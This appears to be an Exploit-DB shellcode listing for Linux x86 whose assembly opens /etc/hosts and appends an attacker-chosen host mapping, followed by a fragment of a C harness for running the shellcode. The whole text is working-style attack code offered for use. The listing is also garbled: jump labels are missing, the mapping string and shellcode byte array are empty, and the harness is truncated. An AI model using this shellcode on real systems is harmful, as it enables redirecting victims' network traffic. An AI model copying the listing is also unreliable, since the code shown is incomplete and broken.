Linux/x86 - Add map in /etc/hosts file

ID EDB-ID:34778
Type exploitdb
Reporter Javier Tejedor
Modified 2014-09-25T00:00:00


Linux/x86 - Add map in /etc/hosts file. Shellcode exploit for lin_x86 platform


;this program add a new entry in hosts file pointing to 
;author Javier Tejedor
;date 24/09/2014

global _start

section .text

	xor ecx, ecx
	mul ecx
	mov al, 0x5		
	push ecx
	push 0x7374736f		;/etc///hosts
	push 0x682f2f2f
	push 0x6374652f
	mov ebx, esp
	mov cx, 0x401 		;permmisions
	int 0x80		;syscall to open file

	xchg eax, ebx
	push 0x4
	pop eax
	jmp short _load_data	;jmp-call-pop technique to load the map

	pop ecx
	push 20			;length of the string, dont forget to modify if changes the map
	pop edx
	int 0x80		;syscall to write in the file

	push 0x6
	pop eax
	int 0x80		;syscall to close the file

	push 0x1
	pop eax
	int 0x80		;syscall to exit

	call _write
	google db ""


unsigned char code[] = \


        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;